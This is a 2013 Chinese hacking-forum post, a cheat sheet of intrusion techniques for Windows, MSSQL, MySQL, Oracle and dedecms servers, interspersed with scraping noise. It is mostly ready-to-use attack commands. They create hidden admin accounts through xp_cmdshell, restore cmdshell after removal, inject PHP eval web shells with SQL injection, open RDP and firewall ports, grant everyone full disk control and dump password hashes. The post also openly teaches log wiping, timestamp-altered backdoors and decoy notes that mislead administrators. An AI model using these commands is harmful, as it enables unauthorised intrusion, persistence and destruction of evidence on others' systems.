找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 5088|回复: 0
打印 上一主题 下一主题

渗透技术大全

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 21:24:42 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
% G" T) y2 M  |7 w2 ?( b
1.net user administrator /passwordreq:no
+ v. B6 e0 O# w. |; `1 I4 L这句的意思是"administrator帐号不需要密码",如果可以成功执行的话,3389登陆时administrator的密码就可以留空,直接登陆了,然后进去后再net user administrator /passwordreq:yes恢复就可以了
+ N0 n9 V. m$ {, o+ P8 y2.比较巧妙的建克隆号的步骤6 P6 t1 X, `5 O, o( n+ ~: c% D3 h
先建一个user的用户2 H! `( N! z! _
然后导出注册表。然后在计算机管理里删掉
7 a9 h! _" o2 ]4 r7 w' b( ^; P在导入,在添加为管理员组. d: X# _  C* S, k/ v6 D
3.查radmin密码
, Y6 t2 C" I7 B; f4 `- areg save HKEY_LOCAL_MACHINE\SYSTEM\RAdmin c:\a.reg; F' o% J& t% Q6 M) m1 j
4.[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Window NT\CurrentVersion\Image File execution options]9 ]7 r4 [. s' W+ I2 _/ z
建立一个"services.exe"的项
5 g2 {0 p, w5 q1 H( q* @+ f再在其下面建立(字符串值)
" K0 M- B* B5 f$ b4 n键值为mu ma的全路径
* V" l, f: a( Y: u$ ~' j9 \5.runas /user:guest cmd
, @* n& ?) @$ b$ B' [& l' n测试用户权限!
7 I) j1 O0 J6 t. R  d  T. C( ^6.、 tlntadmn config sec = -ntlm    exec master.dbo.xp_cmdshell \'tlntadmn config sec = -ntlm\'--   其实是利用了tlntadmn这个命令。想要详细了解,输入/?看看吧。(这个是需要管理员权限的哦)建立相同用户通过ntml验证就不必我说了吧?
. Q6 P8 L, |' D5 J9 e7.入侵后漏洞修补、痕迹清理,后门置放:6 Q$ Y  X5 Q! ~) \! k. H7 o( o4 k$ V
基础漏洞必须修补,如SU提权,SA注入等。DBO注入可以考虑干掉xp_treelist,xp_regread自行记得web目录;你一定要记得清理痕迹~sqlserver连接使用企业管理器连接较好,使用查询分析器会留下记录,位于HKEY_CURRENT_USER\Software \Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers。删除之;IISlog的清除可不要使用AIO类的工具直接完全删除日志~可以选择logcleaner类工具只删除指定IP的访问记录,如果你能gina到管理员密码则通过登陆他清理日志并通过WYWZ进行最后的痕迹清理。话说回来手动清理会比较安全。最后留下一个无日志记录的后门。一句话后门数个,标准后门,cfm后门我一般都不会少。要修改时间的哦~还有一招比较狠滴,如果这个机器只是台普通的肉鸡,放个TXT到管理员桌面吧~提醒他你入侵了,放置了某个后门,添加了某个用户~(当然不是你真正滴重要后门~)要他清理掉。这样你有很大的可能性得以保留你的真实后门
$ j* g2 `/ b+ H8 \3 Q  V8.declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
4 N( ]$ _5 Q* }7 z1 V7 o7 ~* u+ ~0 x5 V0 Y1 s. r5 D
for example
( O* q& K9 ]) }. r) ]% a. h; [1 }
9 u6 |! ]) l9 @) ~9 wdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user aptime aptime /add'
" P+ R4 y: x1 e9 t
7 c- V/ h1 Z4 N) `declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrator aptime /add'! |- Q% [! J) A9 [
6 `# K2 C! _8 C, l5 C7 Y
9:MSSQL SERVER 2005默认把xpcmdshell 给ON了
/ u; [# a" h6 r- I. \  N3 j如果要启用的话就必须把他加到高级用户模式
* T3 H" p) z' u; K1 }) u; |可以直接在注入点那里直接注入, C' ^2 H  {" S
id=5;EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
. W( }! a) A, V& h3 P/ |) \然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll");--
( T0 x% |$ F- I- w$ d或者1 V% a4 K8 \1 B& t
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
& T# j; i$ D2 {2 Z- V- a来恢复cmdshell。3 a# o" ~! \# F; c' R# f. Z( c# n% }
0 U, m* B+ I# @, j" }
分析器% u6 [; R1 T' A- L: N6 O
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;--
" T5 n% Z; d7 [' W然后;dbcc addextendedproc("xp_cmdshell","xplog70.dll")
3 V9 M7 o4 a  l9 Y4 F( b10.xp_cmdshell新的恢复办法6 g+ ?5 w) U- C
xp_cmdshell新的恢复办法9 c; P% H5 u5 g% r
扩展储存过程被删除以后可以有很简单的办法恢复:
! Q6 J+ x+ O7 }5 R) r3 \删除
- A8 {; ?% R5 T! Pdrop procedure sp_addextendedproc
0 X8 j" d; M  ^" E: i# {# G& ddrop procedure sp_oacreate
" s" x  M3 n8 m" @( J3 O; U& Dexec sp_dropextendedproc 'xp_cmdshell'
2 Y9 o  W0 {5 U( R: z
: \" m; V. ]( Z3 e6 x恢复* x8 f! t) D  g+ _% ?- }! K$ e% M
dbcc addextendedproc ("sp_oacreate","odsole70.dll")) D, A4 H" o6 l- z
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")6 m, R; {- f# ?7 y. n9 D

2 ~7 _: U& X/ F" ]; G/ ^7 Q& F这样可以直接恢复,不用去管sp_addextendedproc是不是存在
( {; H  y) v, p: W
; g7 _9 F' J$ o6 |# v' _* z-----------------------------: P. r- R  I! l4 Z1 v! p
! L/ _8 u/ a+ ~. D. d/ `& b+ d
删除扩展存储过过程xp_cmdshell的语句:( i: z$ ?7 Z: V2 N2 T0 x$ z
exec sp_dropextendedproc 'xp_cmdshell'4 u3 R' j+ D7 D

8 N; g8 p4 {! q7 \! [0 C3 F% p恢复cmdshell的sql语句  Q8 r, _. _- H$ k* `  K0 o/ a
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'% t  Y7 W3 l* l9 {7 `
+ t/ {1 Y8 u# [6 W5 x: T

  _8 y) M4 P5 P+ T开启cmdshell的sql语句+ c, g3 Q$ d7 E: P

( S+ }! t. M6 Bexec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'( P9 ~3 S$ I0 L% m0 i

: w! I; L9 L: s" w8 D5 U1 Z判断存储扩展是否存在( W$ h' c7 ]! a2 h
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'5 J/ Y( f6 T* D/ H6 m* [
返回结果为1就ok
& J& X3 q) ~% M- T/ \7 ~9 G7 Q: i
# j. s/ a  ]! J% C0 x8 M恢复xp_cmdshell" B, r* i# @# s* a* y9 k3 b
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'% t8 v- a, a* o8 _
返回结果为1就ok
6 e( J, U/ U* r# A0 a3 k4 d* X( ^$ `- C
否则上传xplog7.0.dll" d0 M3 P; J& h; l0 b
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'# ]5 R6 R: A% v" w6 C6 |
# T0 L  t" ~7 ^  I
堵上cmdshell的sql语句
6 K6 ]% }$ D, n' bsp_dropextendedproc "xp_cmdshel
/ h  b: Y& \& o* ~! _) ?/ j5 S1 x-------------------------: p7 t7 Q) S+ {" F" |
清除3389的登录记录用一条系统自带的命令:: A& m) J! X7 S0 ?4 j8 e
reg delete "hkcu\Software\Microsoft\Terminal Server Client"  /f
3 u  N/ \+ u" R) O" y" [" }; l& o
然后删除当前帐户的 My Documents 文件夹下的 Default.rdp 文件
: d2 V2 d/ S- l在 mysql里查看当前用户的权限7 ]+ i1 H# t- I6 M6 e: \  J
show grants for  
5 Y. l9 E7 f8 s" P0 [3 t- y
) D( d9 f1 {; D5 U* o0 _以下语句具有和ROOT用户一样的权限。大家在拿站时应该碰到过。root用户的mysql,只可以本地连,对外拒绝连接。以下方法可以帮助你解决这个问题了,下面的语句功能是,建立一个用户为itpro 密码123 权限为和root一样。允许任意主机连接。这样你可以方便进行在本地远程操作数据库了。
. A# z+ Y# O/ n# V0 {
, c8 M9 e! H7 |) A2 F# k4 ?# o: n' N& x" S  c: M+ J
Create USER 'itpro'@'%' IDENTIFIED BY '123';+ n- \  R! i# H& V1 d
* U0 P4 \. ]- V, c- Z7 O2 I
GRANT ALL PRIVILEGES ON *.* TO 'itpro'@'%' IDENTIFIED BY '123'WITH GRANT OPTION) r7 w' @8 b' |; q- H6 d$ @3 u

- b0 A6 P: k0 `3 D  `2 S( u: jMAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0" p$ Y3 V& }! z% J$ q

( l4 _: m+ f1 \" Q* LMAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;0 \! j  i, w: p
: X6 X, t) V/ d& u
搞完事记得删除脚印哟。
6 H. b6 Q' i3 g6 a- {8 c1 `% D7 e2 E% a3 s8 i2 v) V; O( [; X0 t
Drop USER 'itpro'@'%';7 i1 I2 f, G, b5 q# W
. R( v7 v/ d/ F$ \( X3 W
Drop DATABASE IF EXISTS `itpro` ;0 z1 |  T! j- W

8 n) F0 J! B2 x( F  V- }, z当前用户获取system权限
, C" a5 V* w( N# M+ |# Lsc Create SuperCMD binPath= "cmd /K start" type= own type= interact# G2 p+ {+ ^( H: q) H
sc start SuperCMD6 r3 M( b& A. H
程序代码- B4 X+ `& Y/ }8 F
<SCRIPT LANGUAGE="VBScript">
4 H6 W* B" Y7 o2 W. c$ aset wsnetwork=CreateObject("WSCRIPT.NETWORK")9 C  F* q3 a2 y9 `% K3 |! U) T
os="WinNT://"&wsnetwork.ComputerName
* [/ h, t/ z/ l* g" ]" ?, hSet ob=GetObject(os)
1 q8 w$ ^8 a$ e0 WSet oe=GetObject(os&"/Administrators,group")9 G# \: l- y9 M# `3 d% I3 `- P' t
Set od=ob.Create("user","nosec")6 A7 w) r/ f% W: h7 ~
od.SetPassword "123456abc!@#"
% p/ F; Z1 g! {; _, `od.SetInfo0 l- G" j, n  l+ f- P7 \
Set of=GetObject(os&"/nosec",user); s, @) ]% a, r
oe.add os&"/nosec"2 e' ?2 h% f% I  l" Z/ u% g, `
</Script>  _$ A; \% m  c8 h) `3 g
<script language=javascript>window.close();</script>
( ~# M4 W# X. G: X& l; g9 _. l7 A
+ G! E# U: o8 p. B0 y/ N" B: y! B) g" r# n
4 n7 a7 u7 G- P0 F* b& a; e  M! e
& F& M/ @; Q3 x- c/ B" l
突破验证码限制入后台拿shell
' s& a& j1 V& |' o6 N  {- T/ ]程序代码
1 ?: r1 \0 g& nREGEDIT4
- W  J  a* F/ v! o* U$ e[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Security]
) A. H/ X$ Z8 v# i5 j8 V"BlockXBM"=dword:00000000% M; k0 O$ ?7 t0 Y
8 {5 f% {* E5 R0 G
保存为code.reg,导入注册表,重器IE/ c* p: X: I( _3 h2 h& u; x
就可以了; l( a8 [" Y0 a# B/ w
union写马
0 q# y5 I; z( d' Q1 L程序代码
, @/ L  ~4 s" V, c, mwww.baidu.com/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,3,4,'<?php%20eval($_POST[cmd])?>',6+into+outfile+'D:\\wwwroot\\duizhang.php'+/** b1 z# q( H: a8 B" r) |2 [1 M

+ f% [# K, M8 T' t/ b- ^, ^8 D应用在dedecms注射漏洞上,无后台写马
# L5 F0 `2 K& O1 N* J: i" {% X& u8 fdedecms后台,无文件管理器,没有outfile权限的时候
! D! c7 J6 t4 w5 P8 j在插件管理-病毒扫描里; ]4 s) C. N$ {& g  Q
写一句话进include/config_hand.php里5 }) l$ b3 F* f) d
程序代码6 p5 A# n* q* {! I' Z
>';?><?php @eval($_POST[cmd]);?>
. c5 V% Q  T! o/ j; m* C5 z3 g6 m) a# b7 K. s

7 z0 t% ~- {2 v7 ?! A" t" s如上格式
" B% f- z/ G( y: y% m
" d) u! P5 ]1 }' @. ~. A, Q% Soracle中用低权限用户登陆后可执行如下语句查询sys等用户hash然后用cain破解
( z9 E& t# D; v0 |程序代码* `2 e$ [% X6 ^& S+ v& b
select username,password from dba_users;
0 z+ [8 Q" F' [% A: r$ `- H2 [  M
) E) ^) e0 ^3 \4 A' v
. o! m& {' C( p1 D* G/ e, T% E; _$ Rmysql远程连接用户2 `1 G( e3 D1 g2 O
程序代码
/ |& W' I6 E+ N$ }; ]; H* i8 i6 x" l( K  i: h0 L
Create USER 'nosec'@'%' IDENTIFIED BY 'fuckme';- P" D' s( n5 P$ l- K
GRANT ALL PRIVILEGES ON *.* TO 'nosec'@'%' IDENTIFIED BY 'fuckme' WITH GRANT OPTION4 E5 ]' }' P3 }3 J- C
MAX_QUERIES_PER_HOUR 0 MAX_CONNECTIONS_PER_HOUR 0
8 ]7 _& |. }# h" |MAX_UpdateS_PER_HOUR 0 MAX_USER_CONNECTIONS 0;( u( s9 |8 _/ F+ ~: c& l
  E) Y4 x0 M9 k2 Q0 k- w
2 u5 O/ t4 U( ^3 d3 o- d
% f0 X. `( j  L# U1 M  t7 n7 |( F- T- S% S

. r* r5 Z0 m& \  Kecho y |reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 01 q$ [4 H7 X' d+ |* H- h: ?

1 u, ?# m. T4 V8 Q1.查询终端端口% Z' w: Q0 V/ X/ I2 U" w1 g$ q

# l+ C/ }7 L2 Q( C0 s% K( Uxp&2003:REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber, o+ q# h% M) _$ i
! K5 M- a. G0 K$ N* {2 I/ n, F
通用:regedit /e tsp.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\Wds\rdpwd\Tds\tcp"
* A9 F4 N' F. @5 qtype tsp.reg
) F  Z5 h0 j( X& ~9 y- C" a- ^
1 k% F8 R, L+ X1 J, q* [' ^2.开启XP&2003终端服务- W! ?7 }+ q; b! [2 j5 \$ F2 n

' H6 p' ~8 \- a& i3 g  o! _
' `! ]; `# v. DREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f: i7 x0 Y8 `7 D3 [) V# c

. s9 L  L5 A% B
) U/ W# L2 C# Y3 ^( j+ qREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f1 C1 k' l9 B" A9 M8 G5 ?
! [7 ?: T2 `; K
3.更改终端端口为20008(0x4E28)
+ w( O! U$ k7 M* R/ ?
1 r% ~6 `( j- X$ F; q7 ?, g1 p- V6 }REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
4 j7 j/ I% G3 t! M5 n, J2 z0 e% x& K" |0 G  ^% Y5 p9 P
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x4E28 /f
( z: c5 o$ W; j  L. _8 A# p3 v% ~( N! V8 Y* E- O4 A6 _0 M
4.取消xp&2003系统防火墙对终端服务3389端口的限制及IP连接的限制
1 L6 J& Q0 O& l1 `, k$ ?* I; }2 }6 J, ?+ f+ g2 b
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabledxpsp2res.dll,-22009 /f
. y& x- X: M/ y7 x0 r$ n) Y( i! x" c% I: o0 I: Y

' W) g! U6 |( V4 F# `- \5.开启Win2000的终端,端口为3389(需重启). w3 h# I- I4 q1 e3 w
; n: l  [; g8 N, S/ l4 f
echo Windows Registry Editor Version 5.00 >2000.reg
( n  C) p# e& Kecho. >>2000.reg
) q, C6 L7 \/ T; C* m) c6 Techo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>2000.reg
$ c4 D) U- E  E$ {* cecho "Enabled"="0" >>2000.reg
) F' h$ L) t' |echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>2000.reg
1 E. w( J% I( N3 s) [) K; techo "ShutdownWithoutLogon"="0" >>2000.reg
2 `, ?& b3 L# p& P7 Q6 R, becho [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>2000.reg . Q, ~" k0 N9 I. w. E+ [
echo "EnableAdminTSRemote"=dword:00000001 >>2000.reg & }" J. p% l) n& `( o4 w6 I
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>2000.reg
: g) I( q; P; N* ^echo "TSEnabled"=dword:00000001 >>2000.reg
+ \5 C. c# c2 C) K0 o4 Z% q/ ^echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>2000.reg 6 s( G( d8 p5 k& n; q. C
echo "Start"=dword:00000002 >>2000.reg ; x$ `1 a; Y, Y5 g6 b" s/ G) l" S1 ?
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>2000.reg
; n# p! K# H. N( secho "Start"=dword:00000002 >>2000.reg 8 G$ `4 X' l: x: }+ I& m& B$ U2 p
echo [HKEY_USERS\.DEFAULT\Keyboard Layout\Toggle] >>2000.reg
8 H0 ~! v# n7 kecho "Hotkey"="1" >>2000.reg
8 v3 K; [$ I- F: E9 A! D9 h  Uecho [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>2000.reg
% o5 Q# D: g( E4 ~: Qecho "ortNumber"=dword:00000D3D >>2000.reg $ n" y" S9 _2 M8 k* e' U
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>2000.reg
/ ?7 W2 N* R$ |echo "ortNumber"=dword:00000D3D >>2000.reg
) y7 n5 _. _. s6 p& [4 R2 N& P; @9 a
- X/ r- G1 r: u7 Y: t" V5 O6.强行重启Win2000&Win2003系统(执行完最后一条一句后自动重启)
) y3 C# R) m' [# ^4 s. j$ H0 `+ l* k, }' ~, \- m" O
@ECHO OFF & cd/d %temp% & echo [version] > restart.inf
) E0 b' c1 Z7 J5 v3 i(set inf=InstallHinfSection DefaultInstall)6 ^, J6 R( m* }
echo signature=$chicago$ >> restart.inf
  y$ G9 ?7 ^0 N6 h* U! x. r- ^- Zecho [defaultinstall] >> restart.inf
& V  Q6 D8 e1 Z8 T3 Orundll32 setupapi,%inf% 1 %temp%\restart.inf6 y! v# x2 v$ Y9 n! h$ a, |

" K' f9 D/ c/ r' `1 B! d) }# K7 f. O
7.禁用TCP/IP端口筛选 (需重启)
8 J# @$ a3 F) F& {- `
, V3 g0 Y7 e2 I2 r( ZREG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f( O  `% d3 ~* z2 {+ l

  |" s/ @# Y4 O+ U! a# s' ~+ w$ B8.终端超出最大连接数时可用下面的命令来连接
2 B! F% {6 c+ U9 C0 j5 J3 T$ w  ]4 o- ?6 \3 }' z' Q3 M5 v
mstsc /v:ip:3389 /console. g3 M! ?! N) T* k- t

+ M) n+ f6 G8 U7 I& S7 W! l( z9.调整NTFS分区权限
8 i! ^7 d: |  E7 n( S' |, U5 f" z0 K8 R6 v" s: F( j
cacls c: /e /t /g everyone:F (所有人对c盘都有一切权利)
% p' k% ?, K- E3 K9 H( u
" o7 p- `8 N) C8 h+ A+ X! p% wcacls %systemroot%\system32\*.exe /d everyone (拒绝所有人访问system32中exe文件)
) b/ Q, N* B( e" c& K& v( }7 s* j+ U- Y4 e) U9 |7 D% n1 R
------------------------------------------------------
& A& v5 D5 O* S7 o0 {3389.vbs
! c8 [2 T: ~- d* V# uOn Error Resume Next. H# q& t; N" N5 p- i0 |
const HKEY_LOCAL_MACHINE = &H80000002# L) o2 s) O  N$ ~
strComputer = "."
2 @. }% v0 H3 M) l* {! pSet StdOut = WScript.StdOut
$ N5 o, r& x: n& A' L3 z  zSet oreg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_% X' s( J6 W8 l! d1 m; C
strComputer & "\root\default:StdRegProv")  u0 Q3 K2 U" Q6 V
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server"8 {0 n* d, _9 j
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath
5 c+ w' ~5 e/ a; m4 x+ l3 OstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"% m' S# R7 k0 \) m0 @5 H; r3 K+ H- N
oreg.CreateKey HKEY_LOCAL_MACHINE,strKeyPath2 \  f% c9 v3 y# @1 I; `9 C& V
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
' d$ g4 Q" ^# C/ k: _strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server") U# B, H5 t5 P5 X
strValueName = "fDenyTSConnections"$ r' C# b6 t# c" t. W  q7 K1 D# ]
dwValue = 0
8 s" D! U3 Q5 a; e1 y: noreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue
* V" h5 V" O1 K/ H/ nstrKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp"
- v) K5 F6 s8 o! Z# FstrValueName = "ortNumber"9 n+ R2 n) Z2 L0 @
dwValue = 33895 I+ x& N0 G; Q. r1 }5 J
oreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue  @1 ~: L/ J! [" d' b& ?
strKeyPath = "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
. F6 \* O# z! v- I; P+ A+ {  s! qstrValueName = "ortNumber"
! J4 u7 x4 }7 y! S7 v( z; fdwValue = 3389
4 w* G  k2 u! m! g0 D- n  i7 Doreg.SetDWORDValue HKEY_LOCAL_MACHINE,strKeyPath,strValueName,dwValue) R$ V5 |8 ~0 g0 e
Set R = CreateObject("WScript.Shell") / q, o( E! I5 f8 G
R.run("Shutdown.exe -f -r -t 0") ' u/ m3 M4 K. g2 o

4 M) _9 f8 {* W5 f. Q: J删除awgina.dll的注册表键值* h; p8 l* S: Q3 z# U/ ^
程序代码; Y% N# R+ O6 ^( Y/ `4 h
3 v+ }  F0 ]8 A3 L
reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v GinaDLL /f
& S4 U& O2 D2 d' n' m; G( f6 h2 J2 z' `5 T2 W9 _
% `/ e" }; N8 D- i# ^% H5 ]( A

9 g( N3 Q! @/ k/ h" {9 T& {# m3 g% F0 ]# l1 T2 g4 i2 w
程序代码
: g+ V* q3 X8 `- R' oHKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\NoLMHash- n, i+ z+ I; _' Y

3 T( R" w& N7 _) [设置为1,关闭LM Hash* {  j8 b! _; E  ]2 _- U1 E# [. B
! i/ ?* e. F) s% l9 l8 N/ x: v/ B
数据库安全:入侵Oracle数据库常用操作命令
8 s% j9 i5 C* L* i; H2 `# @! m最近遇到一个使用了Oracle数据库的服务器,在狂学Oracle+请教高手后终于搞到了网站后台管理界面的所有用户密码。我发现Oracle操作起来真是太麻烦,为了兄弟们以后少走些弯路,我把入侵当中必需的命令整理出来。
9 U7 Z* x, i* r2 w' F1、su – oracle 不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。
5 i3 V7 p3 b3 C2、sqlplus /nolog 或sqlplus system/manager 或./sqlplus system/manager@ora9i;3 q: {7 a8 G% a. }5 {* t' E
3、SQL>connect / as sysdba ;(as sysoper)或/ a1 V9 i# P' b
connect internal/oracle AS SYSDBA ;(scott/tiger)
# i7 M( i: n' [0 @- ]9 {conn sys/change_on_install as sysdba;
9 t. f$ \. D0 Q! T4、SQL>startup; 启动数据库实例4 }' m  [& f2 n6 v, B" R( m
5、查看当前的所有数据库: select * from v$database;
+ }2 a  }: K  g4 O' wselect name from v$database;
; J  j  Z( \# z# N6、desc v$databases; 查看数据库结构字段7 q- m0 T1 N* P( ]* Q4 o) G
7、怎样查看哪些用户拥有SYSDBA、SYSOPER权限:
, I& D- s- e( N: H/ A* ^/ }SQL>select * from V_$PWFILE_USERS;
3 c) v& E% z; M. iShow user;查看当前数据库连接用户+ h' \8 Q8 `& s2 y( L- Y0 s' v
8、进入test数据库:database test;
2 n, {# Y. @, _* `; J! {2 K" P7 c9、查看所有的数据库实例:select * from v$instance;1 P# c  z8 m, ~! {' Q1 T
如:ora9i9 x2 ]& ~! g9 s4 ^  {9 |- i% S" q
10、查看当前库的所有数据表:
$ T  J. h$ Z8 z) {; y: O6 Y; RSQL> select TABLE_NAME from all_tables;! j5 M* y1 q: T5 y3 ~- W% b) P
select * from all_tables;
6 i1 O% x! b9 j; V* {SQL> select table_name from all_tables where table_name like '%u%';
. B; l' j) d0 X2 S. c1 k% _TABLE_NAME
/ E+ m4 \$ W  k4 H- F" H5 p------------------------------
/ ?1 d" W* A3 ]& V) Y+ o_default_auditing_options_
; I) @* l+ I2 d( o: u11、查看表结构:desc all_tables;
. m( n% D/ D$ E12、显示CQI.T_BBS_XUSER的所有字段结构:
0 E; G; k1 {' B. g, p$ t! {desc CQI.T_BBS_XUSER;
2 V, J3 z. E& b# P' \' h13、获得CQI.T_BBS_XUSER表中的记录:6 y: w; B8 Q; H
select * from CQI.T_BBS_XUSER;
" K0 `6 v& N: R6 M' j14、增加数据库用户:(test11/test)
. p5 [" z+ T5 m( s% W$ _, ocreate user test11 identified by test default tablespace users Temporary TABLESPACE Temp;; S! {% A: F6 k( \! Y7 T/ ^
15、用户授权:  j- a5 \4 e' @$ w
grant connect,resource,dba to test11;/ l1 e" J1 h, k8 i' Z) F
grant sysdba to test11;
3 G9 \# e5 |, `7 [( s4 mcommit;1 l* c6 N+ U. V9 Y
16、更改数据库用户的密码:(将sys与system的密码改为test.)
+ A' u4 x" ^# N$ }alter user sys indentified by test;* d. K! n) \, S2 e& q3 i6 G
alter user system indentified by test;
" ]4 ?+ Y0 [) w$ U% n
) L( D! |$ Y" h7 qapplicationContext-util.xml: {' X& ?" Z% Q, s2 K+ O& @
applicationContext.xml
3 R' l$ w( E' p* t9 A, U; Bstruts-config.xml4 p4 _# `+ R$ Y! O0 v) b0 {
web.xml3 f, I& U) s7 z7 v/ N* X
server.xml
) E- E% d# Y6 |  Y4 o' T$ O; ~tomcat-users.xml
+ H7 `/ J! @( Y7 P( I9 f) Y$ B; xhibernate.cfg.xml
2 i4 L  u( V5 E8 S, u5 Gdatabase_pool_config.xml
' p, ?2 V' J+ d) u5 ]% H
/ z/ T2 o: d/ F# @& K, }0 Q8 |' ~8 i
8 `, A. H! j8 [2 b4 Y1 Y\WEB-INF\classes\hibernate.cfg.xml 数据库连接配置
& K" x4 }* ^0 _\WEB-INF\server.xml         类似http.conf+mysql.ini+php.ini* F" Q- o) y( U- d/ {" f9 }
\WEB-INF\struts-config.xml  文件目录结构
" K/ T/ v% H+ v- X# B
, r: }, I; U' s, vspring.properties 里边包含hibernate.cfg.xml的名称
! V0 {* S& K8 ~# a( ?" x, C
) _$ B( Y! H. M2 _9 j9 R8 _
. p2 z" m% Y2 z4 n+ y* uC:\Program Files\Apache Software Foundation\Tomcat 5.5\conf\tomcat-users.xml
% r4 V1 h9 D! m! C  Q+ [9 m
. v! s; ~8 o* a) s  N4 X8 y如果都找不到  那就看看class文件吧。。6 i  \# v7 G( q- ?* A  a" n; I" n
$ f  k* R& j5 C, F
测试1:
0 B% j6 I" W& A5 j  c( Z3 P% m/ WSELECT top 1 name=STUFF((SELECT ','+[name] FROM sysobjects t  where xtype='U' FOR XML PATH('')), 1, 1, '') FROM sysobjects t1
9 a: B- t" W2 P- F5 J- z* @
; \; N# g0 |0 e/ A, P5 b测试2:
! w0 V0 i9 R1 T6 i1 ^% u
: t" H4 d0 w1 G  U5 Wcreate table dirs(paths varchar(100),paths1 varchar(100), id int)3 ^6 M' |2 g9 L" n6 O

2 O4 R8 z* G' Cdelete dirs;insert dirs exec master.dbo.xp_dirtree 'c:\',1,1--* R. R7 H0 ~5 h$ Z# z9 E& {- @
" @9 P6 a, Q8 Y
SELECT top 1 paths=STUFF((SELECT ','+[paths] FROM dirs FOR XML PATH('')), 1, 1, '') FROM dirs t1' L  N5 e6 z+ K. r* W& G" j+ ]

2 H# W% T, {4 q& b- O& o查看虚拟机中的共享文件:
) j' U$ E1 g- I' K, |6 z  a在虚拟机中的cmd中执行4 X/ g, }$ @3 @# N+ N8 b+ a
\\.host\Shared Folders) k  E0 F5 z" f+ W+ ?# Y
) c% F9 o0 M0 Y9 t8 N! d
cmdshell下找终端的技巧
# B: E0 j% [/ w- G  c* Y找终端:
7 G- u, x! M. Y- l' t! y第一步: Tasklist/SVC 列出所有进程,系统服务及其对应的PID值!
  w1 `; y6 T; r   而终端所对应的服务名为:TermService
- \  z" p2 }4 t: _第二步:用netstat -ano命令,列出所有端口对应的PID值!
& }9 }, X5 T8 I9 k   找到PID值所对应的端口* [% c1 [2 v3 ]
